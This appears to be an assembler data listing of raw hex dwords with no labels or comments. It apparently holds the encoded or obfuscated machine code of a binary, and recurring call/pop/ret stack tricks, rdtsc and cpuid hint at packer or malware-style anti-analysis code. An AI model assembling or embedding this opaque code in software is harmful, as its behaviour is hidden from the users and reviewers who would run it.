		dd 0F9500689h, 0E1858B5Bh, 6A06A80Bh, 3E85100h,	20000000h
		dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 4F2EC351h
		dd 6A044689h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 5ADEC355h, 0B7AA46FDh,	506F6506h
		dd 11E851h, 0AD790000h,	72D4D6A4h, 341821C2h, 4CB6E04Eh
		dd 0E99F0C07h, 11h, 0D440F28h, 0CF0C5783h, 0B3E738CEh
		dd 88E67E4h, 895B5B15h,	8C0F2434h, 6, 62DBD8Bh,	0B5FF06A8h
		dd 6ABA21Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 17h,	79C35646h, 0F1EF40Eh, 684h, 8DBD3100h, 6806A817h
		dd 0EC86325Ah, 8B665250h, 52310FD9h, 8C6E30BFh,	585A5F52h
		dd 0A5240481h, 8B1398D1h, 0A831A19Dh, 27858D06h, 6A06ABA2h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 4A4EC351h, 8A87E264h, 0CBE5BFFCh,	0D38060DEh
		dd 52505004h, 0DF8B6657h, 66310F5Bh, 585AFA8Bh,	6A240489h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 15042444h
		dd 46000000h, 6EC3C356h, 74195FFh, 9D8906A8h, 6A80F31h
		dd 53006A61h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1A04h
		dd 0C3534300h, 0FD9647F7h, 0C7190D2Ah, 0A80BBD85h, 306h
		dd 54DF8100h, 835105C9h, 0ABA227BDh, 840F0006h,	24h, 3AE9h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1704h
		dd 0C3564600h, 8733868Fh, 110C3050h, 1114400h, 3010E8C1h
		dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
		dd 443010E8h, 64000211h, 83580311h, 0E77504E9h,	0C1501BEBh
		dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
		dd 0EBE77504h, 6AC08B00h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1C042444h, 41000000h, 6B27C351h, 0E8F518D8h
		dd 33CB5798h, 0A82F4D9Dh, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 55F710h, 6676B260h
		dd 61CD2BBAh, 0BBDBD83h, 0F0306A8h, 49885h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 0C3807C98h, 27BD83DDh, 6ABA2h, 46B840Fh, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 6D57AAC3h, 4D93EA9h,	0FFC7CB80h, 0ABA227B5h,	259D8B06h
		dd 0FF06A80Dh, 0A815F995h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 0E37482DCh
		dd 2B4FC781h, 0B58B2EEEh, 6ABA21Bh, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 16h, 5BC35242h, 0BD8BCB7Dh, 6A80065h
		dd 0DE9h, 0C86CFD00h, 0CA8D2A7Dh, 718B72BFh, 9D8B6266h
		dd 6A8158Dh, 106C7h, 6A0001h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1B0424h, 52420000h, 0A5918DC3h, 1B051D9h
		dd 8B6050CAh, 348961DEh, 0C59D8B24h, 0FF06A80Ch, 0ABA227B5h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1C04h
		dd 0C3524200h, 5C8DDC7Ch, 344EC062h, 4D9D8B94h,	8906A82Eh
		dd 0A8026DBDh, 9995FF06h, 6A06A821h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 43B2C353h
		dd 1D9D8B3Ah, 8B06A834h, 0ABA21BB5h, 52006A06h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 0BBF2A698h
		dd 400D5BC4h, 10E9h, 9F630100h,	0A6BA9A0h, 0E0335E7h, 0D39B7B9Eh
		dd 41858BC4h, 8906A80Eh
		dd 0C486h, 959D0B00h, 8B06A802h, 0A805B995h, 4C28306h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 10C35747h
		dd 2B11B589h, 7E906A8h,	88000000h, 31D0B5E8h, 50892BD5h
		dd 0DFB70F20h, 8E9h, 4B45500h, 899326F9h, 0CE858D20h, 6A06ABB7h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 19042444h
		dd 47000000h, 9AE2C357h, 0B523DE81h, 8E9h, 4E175D00h, 0BBA11561h
		dd 0F98B66EDh, 0B88689h, 0BB660000h, 6A7812h, 2A918529h
		dd 0B5FF06A8h, 6ABA227h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 16h, 0E2C35545h, 810FA161h, 2, 95FF9AB7h
		dd 6A81E1Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 19h,	42C35646h, 0C80F5C68h, 8D896086h, 6A81509h, 236061F5h
		dd 0A81AA995h, 3D958B06h, 6106A80Fh, 0DE8B6696h, 0FE8B6650h
		dd 0D2C78096h, 0A227B5FFh, 17BB06ABh, 0FF758DBFh, 0A82A6995h
		dd 7F35BF06h, 0BD8359E9h, 6A82E3Dh, 56840F00h, 96000000h
		dd 0DA8B6050h, 850F5250h, 0
		dd 585A310Fh, 6A9661h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1C0424h, 51410000h, 4639BEC3h, 6C1F562Eh, 13E8D9F2h
		dd 5A000000h, 0C3DD347Dh, 0D54B1EFCh, 0EB2234Dh, 0D632717Fh
		dd 9D2B34DAh, 6A82889h,	27B5FF5Bh, 6A06ABA2h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
		dd 527FC353h, 39D6E8BFh, 0FFFB8B4Fh, 0A8318595h, 7DBD8B06h
		dd 0F06A826h, 685h, 559D8B00h, 0FF06A81Bh, 0ABA227B5h
		dd 13E906h, 0B7DC0000h,	0F3AAFA18h, 1E8A6316h, 6ADDC589h
		dd 726728C4h, 95895043h, 6A81985h, 5595FF5Bh, 6A06A80Fh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1B042444h
		dd 41000000h, 0E17EC351h, 138A3637h, 0BD83509Fh, 6A8077Dh
		dd 0A0840F02h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1A042444h, 47000000h, 758FC357h, 0A8724A84h
		dd 0DE9C7h, 11380000h, 0A1351DF8h, 0FE73485Bh, 8BDE9829h
		dd 0A82A2DBDh, 19858B06h, 6A06A80Dh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 359CC350h
		dd 0A814D0BBh, 14E93Ah,	918C0000h, 703FC36h, 0EA4658Dh
		dd 907C7639h, 4A4A6CB7h, 0C62E58h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1A04h,	0C3564600h, 350607F6h
		dd 0C7DA4A5Ch, 0A80DC185h, 6, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 0F287E9EDh
		dd 0BD03FFFFh, 6A82E55h, 6AC18Bh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1D0424h, 57470000h, 0FDE05BC3h, 14A69284h
		dd 31A2A999h, 0A8001D8Dh, 85858D06h, 6A06A833h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
		dd 0E97AC357h, 9, 1A0F5E53h, 3C38EDBDh,	489506Bh, 1D9D8B24h
		dd 0F06A811h, 680h, 29BD0900h, 6A06A801h, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h
		dd 4D1EA6ACh, 2C380DEh,	6AF8B70Fh, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 62858D45h
		dd 6A06AD0Ah, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 2551C353h, 8090CE57h, 66F5FECBh
		dd 0C083F98Bh, 0D59D8B05h, 5006A806h, 8DC0B2BFh, 24048950h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0BFC35646h
		dd 3B84C446h, 6AF960F1h, 0E1BD8B00h, 6A06A817h,	52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1D04h, 0C3524200h
		dd 0D7F44D8Ch, 6191B1D5h, 70BF7AF6h, 8B3FDE28h,	0A82A61BDh
		dd 4195FF06h, 8B06A825h, 0A80EF5BDh, 7F8D8D06h,	6A06AB8Ch
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1C042444h
		dd 46000000h, 8EB5C356h, 28BA4E2Eh, 0FF76508Dh,	51006AD1h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1704h, 0C3514100h
		dd 3D7B2818h, 339DBD83h, 0F0106A8h, 2E85h, 65B50900h, 6A06A807h
		dd 0F7816602h, 0F90F326h, 8Eh, 0BE95000h, 66000000h, 43054919h
		dd 13955837h, 0FF903510h, 0A81E1D95h, 0E9FC8A06h, 0D1Fh
		dd 0E8h, 0ED815D00h, 6AD0A6Ch, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 15h, 29C35646h, 0C78B6021h, 7B4B4ABEh
		dd 9E96123h, 0A7000000h, 1DA05D6h, 85418ACCh, 7E2E858Dh
		dd 6A06ABh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
		dd 52420000h, 50CB4EC3h, 0BADDBE60h, 8961271Eh,	6A2404h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 0BE9616C3h, 497DA17Fh, 9D8B2101h, 6A805E5h, 35FF64h
		dd 0F000000h, 0A8Fh, 85896000h,	6A83529h, 64615951h, 2589h
		dd 0F98B0000h, 0FFD8B70Fh, 0A833F185h, 52006A06h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h
		dd 928F2FE5h, 1B79BD8Bh, 0FF6A06A8h, 11B5FFFCh,	6A06A82Ah
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 52ECC355h, 81664A97h, 89A4CAE3h, 0A80C5DBDh
		dd 7D95FF06h, 0E906A82Ah, 16Eh,	277D9D8Bh, 0B006A8h, 5159D8Bh
		dd 70E606A8h, 17C19D8Bh, 71E406A8h, 12E9h, 4E689400h, 0F4FF140Ch
		dd 5056C999h, 0AC312979h, 3CEC37E7h, 37830F61h,	60000001h
		dd 31C18D29h, 880F06A8h, 6, 289B589h, 0F6106A8h, 0CE9C8B6h
		dd 63000000h, 97C83685h, 6FA6EF20h, 0BAC6DC9Fh,	6, 0AE9h
		dd 8C11E400h, 1D4FCF93h, 8B2DB8B2h, 9D9529C1h, 0C106A821h
		dd 880F04E8h, 1, 0E2F766F9h, 0CE8h, 0FCD1AB00h,	0DF9D3384h
		dd 0B6DB48D3h, 8E9E5h, 28F10000h, 3040860Ah, 2B5F2A54h
		dd 0D7DF80C8h, 12E8D18Bh, 0FB000000h, 0C37D23A6h, 0BD80585Ch
		dd 92E1F3CBh, 25326681h, 9ED381CAh, 5F7DD246h, 9DE9h, 8860F00h
		dd 0F000000h, 285h, 8BD88B00h, 4E4985h,	6800F44h, 1000000h
		dd 0A80DADBDh, 83DD8A06h, 0B70F07C0h, 0C083DFh,	0C552B0BFh
		dd 0FD03B36h, 1383h, 599D8B00h,	906A807h, 0A8206185h, 54E906h
		dd 0F98A0000h, 0FFFF8D8Bh, 13E8FFFFh, 6000000h,	5B1DAE6Eh
		dd 0ED597BC4h, 65903A1Ch, 24F3A009h, 60539A9Dh,	835F5B61h
		dd 840F01E1h, 26h, 8D9D8B57h, 5B06A801h, 0FFFFA583h, 81FEFFFFh
		dd 889F82DBh, 0FE8B6626h, 4E499589h, 0B70F4400h, 0E9DAh
		dd 0B58D0000h, 6AC85DCh, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 15h, 0B1C35040h, 0AFF7818Bh, 8B0C52DAh, 0A814FDBDh
		dd 6A006A06h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 910CC356h, 658103B6h, 71E0FFA0h
		dd 0F459589h, 13E906A8h, 9F000000h, 0B82BFE65h,	1840DE0Ch
		dd 2B530F0Dh, 0FFC145FFh, 95FF111Bh, 6A81B31h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 66C35141h, 89B727D2h
		dd 0A8275D85h, 0FE3B906h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1C0424h, 55450000h, 0B24161C3h, 367B4BB4h
		dd 0FA8A3B36h, 60FCE183h, 1FB59589h, 8B6606A8h,	8BFC61CBh
		dd 0B8FAh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1D0424h, 50400000h, 8C8511C3h, 0EA0CEA7h, 2B5612FDh
		dd 9E9D2h, 1220000h, 37200F44h,	0AD19812Fh, 0E8D1C233h
		dd 0E983D003h, 6AF47504h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 8B47C352h, 0A833E5BDh
		dd 0FBDDBF06h, 880D4CCAh, 6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 6401C357h
		dd 8968AE53h, 0A81D598Dh, 0E7816606h, 958B75A9h, 6A805B9h
		dd 0DAEF8166h, 698D8B1Fh, 6A06A814h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 0CFE9C352h
		dd 417743C5h, 81665568h, 50F411F3h, 188BC28Bh, 188BC103h
		dd 0E8D1C18Bh, 188BC203h, 0AD9D3358h, 6A06A82Ah
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 6A71C355h, 0B5893440h, 6A8025Dh, 0C91BD83h
		dd 0F0006A8h, 5184h, 0B8F900h, 0E8000000h, 8, 77F34130h
		dd 0D541BA71h, 14398589h, 8D5F06A8h, 0A84FAF8Dh, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1504h, 0C3554500h
		dd 9529EF9Bh, 6A8029Dh,	0B509E1FFh, 6A81B35h, 2F0DB509h
		dd 0BD8306A8h, 6A80BBDh, 0A0840F00h, 52000003h,	6880Fh
		dd 9D8B0000h, 6A813E9h,	0BDBD835Bh, 106A80Bh, 3A0840Fh
		dd 6E90000h, 0FF000000h, 21D3A6EBh, 0BDBD83BFh,	306A80Bh
		dd 352860Fh, 85890000h,	6A81101h, 53006A60h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 6860FD3h, 8B000000h
		dd 0A834519Dh, 0FD9D8906h, 6606A80Ah, 0BD29D98Ch, 6A82259h
		dd 6A04E180h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 18042444h, 42000000h, 278FC352h, 23FCCF2Ah, 0A81A4DBDh
		dd 0FC90A06h, 0F084h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1804h, 0C3554500h, 8F814D93h, 31BD8B54h
		dd 8B06A801h, 0A82641BDh, 0E1858B06h, 6A06A80Bh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
		dd 7C81C350h, 689EBD65h, 3363BDA8h, 0A81D5D85h,	6D852906h
		dd 5006A834h, 66F361BBh, 24048956h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 1Bh, 24C35242h, 92972A1Fh, 6AE2F727h
		dd 459D8B00h, 6806A81Bh, 0D1797FF4h, 481F98Bh, 0A5840B24h
		dd 0BD9D8B2Eh, 0FF06A800h, 0A8074195h, 0D38B6006h, 33EDB589h
		dd 666106A8h, 0D637C381h, 0A2278589h, 5E906ABh,	90000000h
		dd 27A6F74Bh, 1A3E9h, 11E800h, 0FEE30000h, 9DBC3119h, 30CEB762h
		dd 0A14A4DB2h, 667DD362h, 0F7FEF381h, 1F858B5Bh, 6A06ABA2h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 17042444h
		dd 47000000h, 2295C357h, 0B5317F18h, 6A82AE5h, 1B75BD2Bh
		dd 0BB6606A8h, 0C70D95h, 18h, 0DE9h, 0C79B7F00h, 0A6D43AE8h
		dd 71D8FAB6h, 0B58BED35h, 6ABA223h, 20799D8Bh, 858B06A8h
		dd 6A82B7Dh, 89B8CB80h,	57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1604h, 0C3574700h, 8B681616h, 0C9B589D9h
		dd 8B06A832h, 0A80BE185h, 95858906h, 8906A827h,	6A0446h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 39CA8FC3h, 0BC4E586Ah, 40B39610h, 6A9650h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 190424h, 50400000h, 8F814DC3h
		dd 0FF7CAB54h, 0ABA21FB5h, 8C0F06h, 0E8000000h,	4, 1F03FFh
		dd 14E952h, 0DAF70000h,	0F595621Bh, 3A79F363h, 0B8D2514Bh
		dd 4ABDF9CDh, 505F0F31h, 9E860h, 0CC100000h, 4610F6Bh
		dd 66404E54h, 5E990BBBh, 24448B61h, 66008B04h, 8939E3BFh
		dd 58042444h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 17h,	0FC35242h, 29BE8959h, 0A8171DBDh, 27858D06h, 8B06ABA2h
		dd 0A82099BDh, 6FBB5006h, 89077DB3h, 80602404h,	0EF81C9D1h
		dd 2009E7D9h, 4195FF61h, 0BB06A807h, 5F2F8480h,	85C7FC61h
		dd 6A80BBDh, 3,	0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 17h,	0BCC35747h, 83F56DEBh, 0ABA227BDh, 840F0006h, 34h
		dd 6880Fh, 0BD8B0000h, 6A8151Dh, 3EE9h,	56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h
		dd 870FEEC2h, 0
		dd 110C3050h, 1114400h,	3010E8C1h, 21144h, 5803114Ch, 7504E983h
		dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h
		dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h
		dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 0BFC08B00h
		dd 6BBF8B3Bh, 8B06B360h, 0A82AF19Dh, 860F6106h,	5, 0DB48A4BBh
		dd 0BDBD8344h, 306A80Bh, 410850Fh, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 0D85F3AC3h
		dd 41DB89DCh, 29BD0B64h, 8306A815h, 0ABA227BDh,	840F0006h
		dd 3DAh, 0E855006Ah, 3,	5DC35D20h, 4246C89h, 4244481h
		dd 19h,	1AC35545h, 0DCFE5C29h, 0DFBF0F77h, 0FFD98B66h
		dd 0ABA227B5h, 51006A06h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1D04h, 0C3514100h, 8DCECA12h, 0AD062F26h
		dd 8166F6FBh, 0F2925D3h, 58Bh, 0F3816600h, 95FF82B6h, 6A815F9h
		dd 21399D23h, 0B58B06A8h, 6ABA21Bh, 8E9h, 0C2A6E800h, 4F350BCDh
		dd 106C723h, 8B000100h,	0A822419Dh, 9E95006h, 1D000000h
		dd 2E4E5A89h, 83A5230Eh, 6A243489h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 25FEC355h
		dd 7FA5C74Eh, 2960394Eh, 0A8007D8Dh, 519D8906h,	6106A81Bh
		dd 0A227B5FFh, 0BF6606ABh, 95FF0E12h, 6A82199h,	8BFAB70Fh
		dd 0ABA21BB5h, 55006A06h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1904h, 0C3554500h, 0A58FD808h, 8D891A37h
		dd 6A81A51h, 189AEF81h,	858B3825h, 6A80E41h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 75C35747h, 86897363h
		dd 0C4h, 591BD8Bh, 958B06A8h, 6A805B9h,	88A0Fh,	0F500000h
		dd 84h,	0C2835F00h, 50006A04h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1404h, 0C3504000h, 20508983h, 0A5BD89FCh
		dd 8D06A831h, 0ABB7CE85h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 5DBF9B97h
		dd 9C56ED9Bh, 870F6AC4h, 1, 21BD8BF5h, 8906A816h, 0B886h
		dd 61853100h, 6A06A822h, 0BB665200h, 0FF5F8D09h, 0ABA227B5h
		dd 25BD0906h, 0FF06A822h, 0A81E1D95h, 70DF8006h, 5840F50h
		dd 0BB000000h, 1BFDA729h, 80243489h, 8F0FE4E3h,	3, 0FFCBCF80h
		dd 0ABA227B5h, 50EF8106h, 0FF1B7E2Bh, 0A82A6995h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 102D1742h, 6625D44Fh, 8394D0BFh, 0A82E3DBDh,	840F0006h
		dd 6Ch,	0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h
		dd 0AEC35343h, 89F9F152h, 0C781661Eh, 0BF96FCCBh, 6F458FD3h
		dd 0FE850h, 0FFF70000h,	0F5C19BB1h, 0FD8F20F7h,	3F26DD29h
		dd 83BB66E0h, 6A965B7Dh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 6159C353h, 0EF74EEAEh
		dd 0E05416AAh, 0A227B5FFh, 6A06ABh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 1DD4A7C3h
		dd 0B9BCEDF9h, 95FFF88Bh, 6A83185h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 1Bh, 0F7C35242h,	0B9702A0Eh, 232CF7A1h
		dd 0A82B49BDh, 27B5FF06h, 6A06ABA2h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 0DBB5C353h
		dd 1FB96EDh, 0F5595FFh,	0EE806A8h, 69000000h, 6D712079h
		dd 0C896E813h, 0DF81FDF7h, 0C99D8997h, 5F06A820h, 77DBD83h
		dd 0F0206A8h, 7184h, 53006A00h,	3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1C04h, 0C3534300h, 0FA1E5DE8h, 0E4226970h
		dd 7E96034h, 3F000000h,	54A913BCh, 8D8B4A9Dh, 6A81FBDh
		dd 19858B61h, 0F06A80Dh, 28Ch, 0C6DD8A00h, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 0F1145C3h, 580h, 0D7816600h,	85C760CDh, 6A80DC1h, 0
		dd 0E7E9DE8Bh, 6AFFFFF3h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 16042444h, 46000000h, 0CE26C356h,	8DC18B71h
		dd 0A8338585h, 9D8B5106h, 6A80911h, 5250905Bh, 0EE9h, 91170600h
		dd 8368AFh, 0E0C321AFh,	0FC4EB95h, 5A83B731h, 89905058h
		dd 0A80B2595h, 6A006A06h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 51A0C357h, 909A6B59h
		dd 0D6BBD405h, 6A006AFCh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 9636C351h, 0AE9h, 0A3159B00h
		dd 6B673768h, 8DFD8098h, 0AD196085h, 0F18D8906h, 8B06A80Fh
		dd 0A816CD9Dh, 5C08306h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 0ECC35646h, 375C3058h, 0A186EDCBh, 0EE946h
		dd 0DC8F0000h, 0A950A616h, 7296B2FBh, 8F4FD11Ch, 10E990h
		dd 8DCA0000h, 0CB84546Ah, 25D687F8h, 0F94FEBD6h, 6650274Fh
		dd 90808ABBh, 0B008D381h, 6AF81BEEh, 0BD9D8B00h, 6A06A80Eh
		dd 1DBD8B00h, 0FF06A816h, 0A8254195h, 50006A06h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h
		dd 0F757016h, 0F8925CBh, 0FB8BFFBFh, 8C7F8D8Dh,	0F38106ABh
		dd 1BC1F748h, 870FD1FFh, 2, 0B70FDD8Ah,	9DBD83F8h, 106A833h
		dd 7F850Fh, 0BD010000h,	6A82129h, 6A026Ah, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 2F44A1C3h
		dd 5ED28734h, 0BB66EEB3h, 66504F75h, 489F98Bh, 50006A24h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1704h, 0C3504000h
		dd 0E4570B97h, 7BBB6653h, 95FF5F0Fh, 6A81E1Dh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0CBC35747h, 0D8DE9F8h
		dd 0E80000h, 5D000000h,	196AED81h, 6A06ADh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 53286C3h
		dd 617C9D3Eh, 2ECD9D89h, 9D0B06A8h, 6A80DD1h, 7E2E858Dh
		dd 6A06ABh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h
		dd 51410000h, 9F0E12C3h, 13CF07A5h, 8B47F772h, 0A80B49BDh
		dd 1853106h, 9006A81Ch,	53B86660h, 505061C4h, 0F525052h
		dd 5A2EBB31h, 585A55FEh, 585A310Fh, 57006A90h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 0B5895982h
		dd 6A80565h, 35FF64h, 89000000h, 0A82D819Dh, 25896406h
		dd 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 74C35141h
		dd 1D59BD33h, 0BAB706A8h, 33F185FFh, 858906A8h,	6A80C5Dh
		dd 6AFF6Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 34ECD7C3h, 897D8E02h, 0A8091DB5h,	51BD8B06h
		dd 0FF06A827h, 0A80915B5h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 0D5BD8B12h
		dd 0BB06A806h, 1619610Fh, 2A7D95FFh, 21E906A8h,	0E9000001h
		dd 8, 72B7E69Eh, 0D14C2873h, 11E9h, 88E80500h, 1FBDEC4Eh
		dd 9AD9BC0Dh, 0BC830416h, 0B061F7h, 0E6FFB70Fh,	18B0F70h
		dd 0FC000000h, 8D0F71E4h, 0
		dd 830F613Ch, 0E0h, 0AA59D8Bh, 0B60F06A8h, 0C99D33C8h
		dd 0BA06A807h, 6, 58F7EB81h, 0C18B0E67h, 0CE8h,	0BCFF0C00h
		dd 2E104653h, 6499B9B8h, 6860F2Bh, 8B000000h, 0A82B9D9Dh
		dd 0E8C15F06h, 0F98B6604h, 89E2F766h, 0A816DD95h, 0FC82B06h
		dd 680h, 99858900h, 8B06A829h, 0BD8B52D1h, 6A8093Dh, 7AE95Fh
		dd 0BD330000h, 6A81F9Dh, 4C4C858Bh, 0C083505Fh,	83B2B307h
		dd 8B6600C0h, 619D89DAh, 3B06A81Fh, 15830FD0h, 0F000000h
		dd 9D8BF9BFh, 6A81001h,	47E9h, 0D9B70F00h, 0A987BF66h
		dd 0FFFF8D8Bh, 0E183FFFFh, 31840F01h, 0E9000000h, 0Dh
		dd 0FFB19B41h, 2A4A4C8Bh, 0D08E3F94h, 0FFA58370h, 0FEFFFFFFh
		dd 31D99D8Bh, 958906A8h, 505F4C4Ch, 18D0Fh, 0E9F50000h
		dd 0
		dd 95BFB58Dh, 958906ACh, 6A80FB5h, 8166006Ah, 0FFE3E6E7h
		dd 0A81B3195h, 82BF6606h, 102AB9B6h, 0EB800000h, 0FCE183ADh
		dd 9E9h, 1EA8F300h, 0FF7F9C5Fh,	66FC7349h, 2FAAE381h, 7E9C02Bh
		dd 0A3000000h, 95E2B26Fh, 0D22B9275h, 209975BFh, 0C233AD6Bh
		dd 0D003E8D1h, 7504E983h, 51006AF4h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 7B110D12h
		dd 2D9D8954h, 8B06A800h, 0A827619Dh, 71B50106h,	2906A816h
		dd 0A819DDB5h, 19D8906h, 0D06A814h, 88h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 15h, 0CEC35747h, 0B9958BBAh
		dd 6006A805h, 0BBC28166h, 0B9B50955h, 6106A814h, 14698D8Bh
		dd 665606A8h, 0D4C0E781h, 0C28B505Fh, 0C103188Bh, 0C18B188Bh
		dd 0C203E8D1h, 6658188Bh, 83F5FA8Bh, 0A80C91BDh, 840F0006h
		dd 8Dh,	0B8F5h,	6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 170424h, 51410000h, 21BBAC3h, 959D293Bh
		dd 6006A80Ah, 31E5BD31h, 0BD8906A8h, 6A8350Dh, 0AF8D8D61h
